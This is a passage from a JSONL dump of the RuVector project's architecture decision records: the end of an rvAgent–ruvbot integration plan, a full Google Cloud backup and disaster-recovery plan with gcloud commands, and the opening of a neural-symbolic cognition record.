2026-03-15 |\n| **Authors** | ruvnet |\n| **Series** | ADR-093 (DeepAgents Rust Conversion), ADR-107 (Native Swarm) |\n| **Related** | ruvbot ADR-001, ADR-011, ADR-007 |\n\n## Context\n\nTwo parallel agent frameworks exist in the RuVector ecosystem:\n\n1. **rvAgent** (`crates/rvAgent/`): Native Rust agent framework\n - High-performance tool execution with witness chains\n - Typed AgentState with Arc O(1) cloning\n - Filesystem, sandbox, and state backends\n - Middleware pipeline (9 layers)\n - Missing: SONA learning, HNSW retrieval, swarm coordination\n\n2. **ruvbot** (`npm/packages/ruvbot/`): TypeScript enterprise assistant\n - Multi-platform integration (Slack, Discord, webhooks)\n - SwarmCoordinator with 12 background workers\n - Byzantine consensus (PBFT implementation)\n - Multi-tenancy with PostgreSQL + pgvector\n - SONA learning system (ADR-007)\n\nBoth frameworks share conceptual overlap but execute in different runtimes. This ADR defines an integration architecture to:\n- Avoid duplication of swarm/learning logic\n- Enable rvAgent as the execution backend for ruvbot\n- Share WASM-compiled RuVector primitives\n\n---\n\n## Decision\n\n### Integration Architecture\n\n```\n\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502 Unified Agent Execution Layer \u2502\n\u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\n\u2502 \u2502\n\u2502 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u2502\n\u2502 \u2502 ruvbot \u2502 \u2502 rvAgent \u2502 \u2502\n\u2502 \u2502 (TypeScript/Node) \u2502 \u2502 (Native Rust) \u2502 \u2502\n\u2502 \u2502 \u2502 \u2502 \u2502 \u2502\n\u2502 \u2502 \u2022 Multi-platform I/O \u2502 \u2500\u2500\u2500\u2500\u2500\u25ba \u2502 \u2022 Tool execution \u2502 \u2502\n\u2502 \u2502 \u2022 User sessions \u2502 MCP \u2502 \u2022 Witness chains \u2502 \u2502\n\u2502 \u2502 \u2022 Swarm coordination \u2502 \u25c4\u2500\u2500\u2500\u2500\u2500 \u2502 \u2022 File operations \u2502 \u2502\n\u2502 \u2502 \u2022 Byzantine consensus \u2502 \u2502 \u2022 Sandbox backend \u2502 \u2502\n\u2502 \u2502 \u2022 Background workers \u2502 \u2502 \u2022 State management \u2502 \u2502\n\u2502 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2502\n\u2502 \u2502 \u2502 \u2502\n\u2502 \u2502 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2502\n\u2502 \u2502 \u2502 \u2502\n\u2502 \u25bc \u25bc \u2502\n\u2502 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u2502\n\u2502 \u2502 @ruvector/* WASM Modules (Shared) \u2502 \u2502\n\u2502 \u2502 \u2502 \u2502\n\u2502 \u2502 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u2502 \u2502\n\u2502 \u2502 \u2502 HNSW \u2502 \u2502 SONA \u2502 \u2502 LoRA \u2502 \u2502 RVF \u2502 \u2502 \u2502\n\u2502 \u2502 \u2502 Index \u2502 \u2502 Learning \u2502 \u2502 Adapter \u2502 \u2502 Runtime \u2502 \u2502 \u2502\n\u2502 \u2502 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2502 \u2502\n\u2502 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2502\n\u2502 \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n```\n\n### Integration Points\n\n#### 1. MCP Bridge (rvAgent \u2194 ruvbot)\n\nrvAgent exposes an MCP server that ruvbot can consume:\n\n```rust\n// crates/rvAgent/rvagent-mcp/src/lib.rs\npub struct RvAgentMcpServer {\n runtime: ToolRuntime,\n witness_builder: WitnessBuilder,\n state: AgentState,\n}\n\nimpl McpServer for RvAgentMcpServer {\n // Tool execution with witness chain\n async fn execute_tool(&self, name: &str, args: Value) -> Result<McpToolResult> {\n let result = self.runtime.execute(name, args).await?;\n self.witness_builder.add_entry(name, &args, &result);\n Ok(McpToolResult::from(result))\n }\n}\n```\n\nruvbot consumes via MCP client:\n\n```typescript\n// npm/packages/ruvbot/src/integration/rvagent.ts\nimport { McpClient } from '@modelcontextprotocol/sdk';\n\nexport class RvAgentBridge {\n private client: McpClient;\n\n async executeTool(name: string, args: Record<string, unknown>) {\n return this.client.callTool(name, args);\n }\n}\n```\n\n#### 2. Shared Swarm Coordination\n\nBoth systems support the same topologies. Unify via shared config:\n\n| Topology | ruvbot Implementation | rvAgent Implementation |\n|----------|----------------------|------------------------|\n| hierarchical | `SwarmCoordinator.ts` | `rvagent-swarm::HierarchicalSwarm` |\n| mesh | `SwarmCoordinator.ts` | `rvagent-swarm::MeshSwarm` |\n| hierarchical-mesh | `SwarmCoordinator.ts` | `rvagent-swarm::HybridSwarm` |\n| adaptive | `SwarmCoordinator.ts` | `rvagent-swarm::AdaptiveSwarm` |\n\nShared configuration schema:\n\n```yaml\n# Unified swarm config (YAML/JSON)\nswarm:\n topology: hierarchical\n maxAgents: 8\n strategy: specialized\n consensus: raft\n heartbeatInterval: 5000\n taskTimeout: 60000\n```\n\n#### 3. Background Worker Delegation\n\nruvbot's 12 workers can delegate compute-heavy tasks to rvAgent:\n\n| Worker | ruvbot Role | rvAgent Delegation |\n|--------|-------------|-------------------|\n| ultralearn | Coordination | Pattern learning via SONA |\n| optimize | Task dispatch | Profiling via Criterion |\n| consolidate | Scheduling | EWC++ memory consolidation |\n| audit | Security orchestration | Local file/command audit |\n| map | Codebase indexing trigger | AST parsing, symbol extraction |\n| deepdive | Analysis coordination | Code flow analysis |\n| benchmark | Result aggregation | Criterion benchmark execution |\n| testgaps | Coverage coordination | Test runner execution |\n\n#### 4. SONA Learning Integration\n\nBoth systems use SONA for adaptive learning. Shared via WASM:\n\n```rust\n// crates/ruvllm/ruvllm-sona/src/lib.rs (already exists)\npub struct SonaEngine {\n trajectory_buffer: TrajectoryBuffer,\n reasoning_bank: ReasoningBank,\n ewc_plus_plus: EwcPlusPlus,\n}\n\n// WASM export for ruvbot\n#[wasm_bindgen]\npub fn create_sona_engine() -> SonaEngine { ... }\n```\n\nrvAgent middleware:\n\n```rust\n// crates/rvAgent/rvagent-middleware/src/sona.rs (to implement)\npub struct SonaMiddleware {\n engine: Arc<SonaEngine>,\n}\n\nimpl Middleware for SonaMiddleware {\n fn wrap_model_call(&self, request: ModelRequest, handler: ...) -> ModelResponse {\n let trajectory_id = self.engine.start_trajectory(&request);\n let response = handler(request);\n self.engine.record_step(trajectory_id, &response);\n response\n }\n}\n```\n\n#### 5. HNSW Memory Retrieval\n\nShared HNSW index for semantic search:\n\n```rust\n// crates/rvAgent/rvagent-middleware/src/hnsw.rs (to implement)\nuse ruvector_hyperbolic_hnsw::{HnswIndex, HnswConfig};\n\npub struct HnswMiddleware {\n skill_index: HnswIndex<f32>,\n memory_index: HnswIndex<f32>,\n}\n\nimpl HnswMiddleware {\n /// Retrieve top-k relevant skills instead of injecting all\n pub fn retrieve_skills(&self, query_embedding: &[f32], k: usize) -> Vec<SkillMetadata> {\n self.skill_index.search(query_embedding, k)\n .iter()\n .map(|id| self.skill_registry.get(*id))\n .collect()\n }\n}\n```\n\n#### 6. Resource Budget Enforcement\n\nShared budget types (from rvf-types):\n\n```rust\n// crates/rvAgent/rvagent-core/src/budget.rs (to implement)\nuse rvf_types::agi_container::ResourceBudget;\n\npub struct BudgetEnforcer {\n budget: ResourceBudget,\n consumed: ResourceBudget,\n}\n\nimpl BudgetEnforcer {\n pub fn check_tool_call(&mut self) -> Result<(), BudgetError> {\n if self.consumed.tool_calls >= self.budget.max_tool_calls {\n return Err(BudgetError::ToolCallLimitExceeded);\n }\n self.consumed.tool_calls += 1;\n Ok(())\n }\n}\n```\n\n#### 7. Witness Chain Sharing\n\nrvAgent's witness chains provide provenance for ruvbot's audit trail:\n\n```typescript\n// npm/packages/ruvbot/src/audit/witness.ts\nimport { WitnessChain } from '@ruvector/rvf-runtime';\n\nexport class AuditTrail {\n private chain: WitnessChain;\n\n async recordToolExecution(tool: string, args: unknown, result: unknown) {\n const entry = this.chain.addEntry({\n toolName: tool,\n argumentsHash: await sha3_256(JSON.stringify(args)),\n timestamp: Date.now(),\n });\n return entry.id;\n }\n}\n```\n\n### Implementation Phases\n\n| Phase | Timeline | Deliverables |\n|-------|----------|--------------|\n| 1. HNSW Middleware | Week 1 | `rvagent-middleware/src/hnsw.rs` |\n| 2. SONA Middleware | Week 2 | `rvagent-middleware/src/sona.rs` |\n| 3. Resource Budget | Week 2 | `rvagent-core/src/budget.rs` |\n| 4. MCP Server | Week 3-4 | `rvagent-mcp` crate |\n| 5. ruvbot Bridge | Week 4-5 | `ruvbot/src/integration/rvagent.ts` |\n| 6. Swarm Unification | Week 5-6 | Shared swarm config schema |\n\n---\n\n## Consequences\n\n### Positive\n\n1. **Unified execution backend**: ruvbot leverages rvAgent's Rust performance\n2. **Shared WASM modules**: No duplication of vector/learning code\n3. **Cross-platform consistency**: Same algorithms in Node.js and native contexts\n4. **Provenance**: rvAgent witness chains provide audit trail for ruvbot\n5. **Resource governance**: Shared budget enforcement\n\n### Negative\n\n1. **MCP latency**: Cross-process calls add ~1-5ms overhead\n2. **Deployment complexity**: Two processes to manage\n3. **Version coupling**: Must keep rvAgent/ruvbot in sync\n\n### Risks\n\n1. **WASM performance variance**: Different platforms may have different WASM execution speeds\n2. **MCP stability**: MCP protocol still evolving\n3. **Migration effort**: Existing ruvbot deployments need rvAgent sidecar\n\n---\n\n## Implementation Status\n\n**Last Updated:** 2026-03-15\n\n| Component | Status | Location | Notes |\n|-----------|--------|----------|-------|\n| rvAgent core | \u2705 Implemented | `crates/rvAgent/rvagent-core/` | Full state management |\n| rvAgent middleware | \u2705 Complete | `crates/rvAgent/rvagent-middleware/` | 20 middleware modules |\n| WitnessMiddleware | \u2705 Implemented | `rvagent-middleware/src/witness.rs` | Chain tracking |\n| **HNSW Middleware** | \u2705 Implemented | `rvagent-middleware/src/hnsw.rs` | **NEW** - Vector search |\n| **SONA Middleware** | \u2705 Implemented | `rvagent-middleware/src/sona.rs` | **NEW** - Adaptive learning |\n| **Resource Budget** | \u2705 Implemented | `rvagent-core/src/budget.rs` | **NEW** - Budget enforcement |\n| **AGI Container** | \u2705 Implemented | `rvagent-core/src/agi_container.rs` | **NEW** - Resource governance |\n| **Session Crypto** | \u2705 Implemented | `rvagent-core/src/session_crypto.rs` | **NEW** - Encrypted sessions |\n| **Unicode Security** | \u2705 Implemented | `rvagent-middleware/src/unicode_security.rs` | **NEW** - Input sanitization |\n| MCP Server | \u274c Missing | `rvagent-mcp` crate needed | Use \u03c0 brain server as bridge |\n| ruvbot SwarmCoordinator | \u2705 Implemented | `ruvbot/src/swarm/` | 12 background workers |\n| ruvbot ByzantineConsensus | \u2705 Implemented | `ruvbot/src/swarm/` | PBFT implementation |\n| ruvbot rvAgent Bridge | \u274c Missing | To implement | Blocked on rvagent-mcp |\n\n### Implementation Progress\n\n| Phase | Timeline | Status | Deliverables |\n|-------|----------|--------|--------------|\n| 1. HNSW Middleware | Week 1 | \u2705 DONE | `rvagent-middleware/src/hnsw.rs` |\n| 2. SONA Middleware | Week 2 | \u2705 DONE | `rvagent-middleware/src/sona.rs` |\n| 3. Resource Budget | Week 2 | \u2705 DONE | `rvagent-core/src/budget.rs` |\n| 4. MCP Server | Week 3-4 | \u274c TODO | `rvagent-mcp` crate |\n| 5. ruvbot Bridge | Week 4-5 | \u274c TODO | `ruvbot/src/integration/rvagent.ts` |\n| 6. Swarm Unification | Week 5-6 | \u274c TODO | Shared swarm config schema |\n\n### Workaround: \u03c0 Brain Server as MCP Bridge\n\nUntil `rvagent-mcp` is implemented, \u03c0.ruv.io serves as the MCP bridge:\n\n```\nRuVocal UI \u2500\u2500MCP\u2500\u2500\u25b6 \u03c0.ruv.io/v1/mcp \u2500\u2500REST\u2500\u2500\u25b6 \u03c0 Brain API\n \u2502\n \u2514\u2500\u2500 91 MCP tools available\n```\n\nThis provides functional integration while native rvAgent MCP is developed.\n\n---\n\n## Related ADRs\n\n- **ADR-093**: DeepAgents Rust Conversion Overview\n- **ADR-103**: Review Amendments (A1-A9, B1-B7, C1-C13)\n- **ADR-107**: rvAgent Native Swarm Orchestration with WASM\n- **ruvbot ADR-001**: Architecture Overview\n- **ruvbot ADR-007**: Learning System (SONA)\n- **ruvbot ADR-011**: Swarm Coordination", "license": "mit", "quality_score": 1.0, "provenance": "docs/adr/ADR-108-rvagent-ruvbot-integration.md", "created_at": "2026-03-28T11:58:49.944231+00:00", "content_hash": "91e6b3179f531b2171b7ef70b4afb6d83c9084c5ce22e463ad0286359e9e4838"} +{"id": "a6208f1f-0864-49ea-96b2-4f6a991a1606", "source": "adr", "text": "# ADR-109: Backup and Disaster Recovery Strategy\n\n**Status**: Accepted, Implemented\n**Date**: 2026-03-15\n**Implemented**: 2026-03-15\n**Authors**: RuVector Team\n**Deciders**: ruv\n**Supersedes**: N/A\n**Related**: ADR-059 (Shared Brain Google Cloud), ADR-064 (Pi Brain Infrastructure)\n\n## 1. Context\n\nThe \u03c0.ruv.io shared brain system stores critical data:\n- **958+ knowledge memories** with embeddings, witness chains, and quality scores\n- **57 contributors** with reputation histories\n- **124,507 graph edges** representing knowledge relationships\n- **8 Brainpedia pages** with delta logs and evidence chains\n- **947 votes** for federated learning preference pairs\n\nCurrently, **NO scheduled backups exist**:\n- Cloud Scheduler API is disabled\n- Firestore Point-in-Time Recovery (PITR) is disabled\n- Delete protection is disabled\n- No dedicated backup bucket exists\n- No automated export jobs are configured\n\nThis creates unacceptable risk: a single misconfiguration, code bug, or malicious actor could destroy months of contributed knowledge with no recovery path.\n\n## 2. Decision\n\nImplement a multi-layer backup strategy with:\n1. **Firestore PITR** for short-term recovery (7-day window)\n2. **Daily automated exports** to GCS for long-term retention\n3. **Weekly full exports** with 90-day retention\n4. **Cross-region replication** for disaster recovery\n5. **Delete protection** on critical databases\n\n## 3. Architecture\n\n### 3.1 Recovery Time Objectives (RTO) and Recovery Point Objectives (RPO)\n\n| Scenario | RPO | RTO | Method |\n|----------|-----|-----|--------|\n| Accidental delete (single doc) | 0 | 5 min | Firestore PITR |\n| Accidental bulk delete | 0 | 15 min | Firestore PITR |\n| Database corruption | 24 hrs | 1 hr | Daily GCS export |\n| Regional outage | 24 hrs | 4 hrs | Cross-region restore |\n| Complete project loss | 7 days | 24 hrs | Weekly GCS export |\n\n### 3.2 Firestore Configuration\n\n```yaml\n# Enable via gcloud\npointInTimeRecoveryEnablement: POINT_IN_TIME_RECOVERY_ENABLED\ndeleteProtectionState: DELETE_PROTECTION_ENABLED\n```\n\nCommands to enable:\n```bash\n# Enable PITR (7-day recovery window)\ngcloud firestore databases update --project=ruv-dev \\\n --point-in-time-recovery-enablement=ENABLED\n\n# Enable delete protection\ngcloud firestore databases update --project=ruv-dev \\\n --delete-protection-state=ENABLED\n```\n\n### 3.3 GCS Backup Buckets\n\n| Bucket | Location | Class | Retention | Purpose |\n|--------|----------|-------|-----------|---------|\n| `ruvector-backups-daily` | US-CENTRAL1 | Standard | 30 days | Daily exports |\n| `ruvector-backups-weekly` | US | Nearline | 90 days | Weekly archives |\n| `ruvector-backups-dr` | EU | Coldline | 365 days | Disaster recovery |\n\nCreate buckets:\n```bash\n# Daily backups (same region as service)\ngcloud storage buckets create gs://ruvector-backups-daily \\\n --project=ruv-dev --location=us-central1 --uniform-bucket-level-access\n\n# Weekly archives (multi-region)\ngcloud storage buckets create gs://ruvector-backups-weekly \\\n --project=ruv-dev --location=us --storage-class=nearline \\\n --uniform-bucket-level-access\n\n# DR copy (cross-region)\ngcloud storage buckets create gs://ruvector-backups-dr \\\n --project=ruv-dev --location=eu --storage-class=coldline \\\n --uniform-bucket-level-access\n```\n\n### 3.4 Cloud Scheduler Jobs\n\n#### Daily Export (02:00 UTC)\n```bash\n# Enable Cloud Scheduler API\ngcloud services enable cloudscheduler.googleapis.com --project=ruv-dev\n\n# Create service account for exports\ngcloud iam service-accounts create firestore-backup \\\n --project=ruv-dev \\\n --display-name=\"Firestore Backup Service Account\"\n\n# Grant permissions\ngcloud projects add-iam-policy-binding ruv-dev \\\n --member=\"serviceAccount:firestore-backup@ruv-dev.iam.gserviceaccount.com\" \\\n --role=\"roles/datastore.importExportAdmin\"\n\ngcloud projects add-iam-policy-binding ruv-dev \\\n --member=\"serviceAccount:firestore-backup@ruv-dev.iam.gserviceaccount.com\" \\\n --role=\"roles/storage.admin\"\n\n# Create daily export job\ngcloud scheduler jobs create http firestore-daily-backup \\\n --project=ruv-dev --location=us-central1 \\\n --schedule=\"0 2 * * *\" \\\n --uri=\"https://firestore.googleapis.com/v1/projects/ruv-dev/databases/(default):exportDocuments\" \\\n --http-method=POST \\\n --headers=\"Content-Type=application/json\" \\\n --message-body='{\"outputUriPrefix\":\"gs://ruvector-backups-daily/firestore/daily\"}' \\\n --oauth-service-account-email=firestore-backup@ruv-dev.iam.gserviceaccount.com\n```\n\n#### Weekly Full Export (Sunday 03:00 UTC)\n```bash\ngcloud scheduler jobs create http firestore-weekly-backup \\\n --project=ruv-dev --location=us-central1 \\\n --schedule=\"0 3 * * 0\" \\\n --uri=\"https://firestore.googleapis.com/v1/projects/ruv-dev/databases/(default):exportDocuments\" \\\n --http-method=POST \\\n --headers=\"Content-Type=application/json\" \\\n --message-body='{\"outputUriPrefix\":\"gs://ruvector-backups-weekly/firestore/weekly\"}' \\\n --oauth-service-account-email=firestore-backup@ruv-dev.iam.gserviceaccount.com\n```\n\n### 3.5 GCS Object Lifecycle\n\n```json\n{\n \"lifecycle\": {\n \"rule\": [\n {\n \"action\": {\"type\": \"Delete\"},\n \"condition\": {\"age\": 30}\n }\n ]\n }\n}\n```\n\nApply lifecycle policies:\n```bash\n# Daily bucket: 30-day retention\ngcloud storage buckets update gs://ruvector-backups-daily \\\n --lifecycle-file=lifecycle-30d.json\n\n# Weekly bucket: 90-day retention\ngcloud storage buckets update gs://ruvector-backups-weekly \\\n --lifecycle-file=lifecycle-90d.json\n\n# DR bucket: 365-day retention\ngcloud storage buckets update gs://ruvector-backups-dr \\\n --lifecycle-file=lifecycle-365d.json\n```\n\n### 3.6 Cross-Region Replication\n\nUse Storage Transfer Service for DR copies:\n```bash\ngcloud transfer jobs create \\\n gs://ruvector-backups-weekly \\\n gs://ruvector-backups-dr \\\n --project=ruv-dev \\\n --name=\"weekly-dr-replication\" \\\n --schedule-starts=\"2026-03-16T04:00:00Z\" \\\n --schedule-repeats-every=\"P7D\"\n```\n\n### 3.7 GCS RVF Container Backups\n\nThe RVF containers in `ruvector-brain-us-central1` also need protection:\n```bash\n# Enable object versioning for immutability\ngcloud storage buckets update gs://ruvector-brain-us-central1 \\\n --versioning\n\n# Create cross-region backup\ngcloud transfer jobs create \\\n gs://ruvector-brain-us-central1 \\\n gs://ruvector-backups-dr/rvf-containers \\\n --project=ruv-dev \\\n --name=\"rvf-daily-replication\" \\\n --schedule-starts=\"2026-03-16T05:00:00Z\" \\\n --schedule-repeats-every=\"P1D\"\n```\n\n### 3.8 Secrets Backup\n\nExport secrets to encrypted backup:\n```bash\n# Create secrets backup script (run manually monthly)\n#!/bin/bash\nDATE=$(date +%Y%m%d)\nSECRETS=(brain-api-key brain-signing-key cloudflare-api-token huggingface-token)\n\nfor secret in \"${SECRETS[@]}\"; do\n gcloud secrets versions access latest --secret=$secret --project=ruv-dev \\\n | gcloud kms encrypt --key=projects/ruv-dev/locations/global/keyRings/backup/cryptoKeys/secrets \\\n --plaintext-file=- --ciphertext-file=secrets-$secret-$DATE.enc\ndone\n\ngsutil cp secrets-*.enc gs://ruvector-backups-weekly/secrets/$DATE/\nrm secrets-*.enc\n```\n\n## 4. Monitoring and Alerts\n\n### 4.1 Backup Job Monitoring\n\n```bash\n# Create alert policy for failed backup jobs\ngcloud alpha monitoring policies create \\\n --project=ruv-dev \\\n --display-name=\"Backup Job Failure Alert\" \\\n --condition-filter='resource.type=\"cloud_scheduler_job\" AND metric.type=\"cloudjobs.googleapis.com/job/completed_count\" AND metric.labels.status!=\"SUCCESS\"' \\\n --notification-channels=<channel-id>\n```\n\n### 4.2 Storage Monitoring\n\nMonitor backup bucket sizes to detect anomalies:\n```bash\n# Alert if daily backup size drops >50% (possible data loss)\n# Alert if weekly backup fails to appear\n```\n\n## 5. Recovery Procedures\n\n### 5.1 Point-in-Time Recovery (Firestore PITR)\n\n```bash\n# Restore to specific timestamp\ngcloud firestore databases restore \\\n --source-database=\"(default)\" \\\n --destination-database=\"(default)-restored\" \\\n --source-backup-time=\"2026-03-15T10:00:00Z\" \\\n --project=ruv-dev\n```\n\n### 5.2 Import from GCS Export\n\n```bash\n# Import from daily backup\ngcloud firestore import \\\n gs://ruvector-backups-daily/firestore/daily/2026-03-15T02:00:00_12345/ \\\n --project=ruv-dev\n```\n\n### 5.3 Full Disaster Recovery\n\n1. Create new GCP project (if needed)\n2. Import Firestore from DR bucket\n3. Copy RVF containers from DR bucket\n4. Restore secrets from encrypted backup\n5. Deploy Cloud Run service\n6. Update DNS records\n\n## 6. Implementation Plan\n\n| Phase | Task | Priority | Effort |\n|-------|------|----------|--------|\n| 1 | Enable Firestore PITR | Critical | 5 min |\n| 2 | Enable delete protection | Critical | 2 min |\n| 3 | Create backup buckets | High | 10 min |\n| 4 | Enable Cloud Scheduler API | High | 2 min |\n| 5 | Create service account | High | 5 min |\n| 6 | Configure daily export job | High | 10 min |\n| 7 | Configure weekly export job | Medium | 5 min |\n| 8 | Set up lifecycle policies | Medium | 10 min |\n| 9 | Configure cross-region transfer | Medium | 15 min |\n| 10 | Set up monitoring alerts | Medium | 20 min |\n| 11 | Document recovery procedures | Low | 30 min |\n| 12 | Test recovery (quarterly drill) | Low | 2 hrs |\n\n**Total initial setup: ~2 hours**\n**Ongoing cost: ~$5-15/month** (storage + scheduler jobs)\n\n## 7. Cost Estimate\n\n| Component | Monthly Cost |\n|-----------|--------------|\n| Firestore PITR | $0 (included) |\n| Daily bucket (30d \u00d7 ~10MB) | ~$0.10 |\n| Weekly bucket (90d \u00d7 ~50MB) | ~$0.50 |\n| DR bucket (365d \u00d7 ~200MB) | ~$1.00 |\n| Cloud Scheduler (31 jobs/month) | ~$0.10 |\n| Storage Transfer Service | $0 (free tier) |\n| **Total** | **~$2-5/month** |\n\n## 8. Consequences\n\n### Positive\n- **Recovery capability**: Can recover from any failure within RPO/RTO targets\n- **Compliance ready**: Audit trail of backups for compliance requirements\n- **Peace of mind**: No risk of catastrophic data loss\n- **Low cost**: Under $5/month for comprehensive protection\n\n### Negative\n- **Added complexity**: More infrastructure to manage\n- **Operational overhead**: Quarterly recovery drills required\n- **Storage costs**: Small but non-zero ongoing expense\n\n### Neutral\n- Backup data is encrypted at rest (GCS default)\n- Export/import operations are eventually consistent\n\n## 9. References\n\n- [Firestore Point-in-Time Recovery](https://cloud.google.com/firestore/docs/pitr)\n- [Firestore Export/Import](https://cloud.google.com/firestore/docs/manage-data/export-import)\n- [Cloud Scheduler Documentation](https://cloud.google.com/scheduler/docs)\n- [GCS Object Lifecycle](https://cloud.google.com/storage/docs/lifecycle)\n- [Storage Transfer Service](https://cloud.google.com/storage-transfer-service)", "license": "mit", "quality_score": 1.0, "provenance": "docs/adr/ADR-109-backup-disaster-recovery.md", "created_at": "2026-03-28T11:58:49.944363+00:00", "content_hash": "c6950e771a532ef4cabe9fc1e1dbbbe59c16b95ffab0a9ce94364f14cff9ba9a"} +{"id": "c44c02ff-995b-456c-8aa7-aa735178d4dc", "source": "adr", "text": "# ADR-110: Neural-Symbolic Integration with Internal Voice\n\n**Status**: In Progress\n**Date**: 2026-03-15\n**Updated**: 2026-03-15\n**Authors**: RuVector Team\n**Deciders**: ruv\n**Supersedes**: N/A\n**Related**: ADR-075 (AGI Cognitive Container), ADR-077 (Midstream Platform), ADR-061 (Reasoning Kernel)\n\n## 1. Context\n\nThe \u03c0.ruv.io shared brain currently implements:\n- **SONA Engine**: Trajectory-based learning with pattern extraction\n- **Strange Loop**: Bounded meta-cognitive reasoning (5ms budget)\n- **Hopfield Networks**: Associative content-addressable memory\n- **Dentate Gyrus**: Pattern separation for collision resistance\n- **HDC Memory**: Hyperdimensional computing for fast similarity\n- **Meta-Learning**: Curiosity bonus, exploration-exploitation balance\n- **Temporal Solver**: Certified predictions with solver gates\n- **Lyapunov Attractors**: Stability analysis for embedding trajectories\n\nThese components operate largely independently. We need:\n1. **Neural-Symbolic Bridge**: Extract symbolic rules from neural patterns\n2. **Internal Voice**: Continuous self-narration for reasoning transparency\n3. **Working Memory**: Short-term reasoning buffer with attention\n4. **Goal-Directed Deliberation**: Planning and hypothesis testing\n\n## 2. Decision\n\nImplement a three-layer cognitive architecture:\n\n```\n\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502 SYMBOLIC LAYER \u2502\n\u2502 Rules \u2022 Logic \u2022 Propositions \u2022 Constraints \u2022 Goals \u2502\n\u2502 \u25b2 \u2502\n\u2502 \u2502 Grounding \u2502\n\u2502 \u25bc 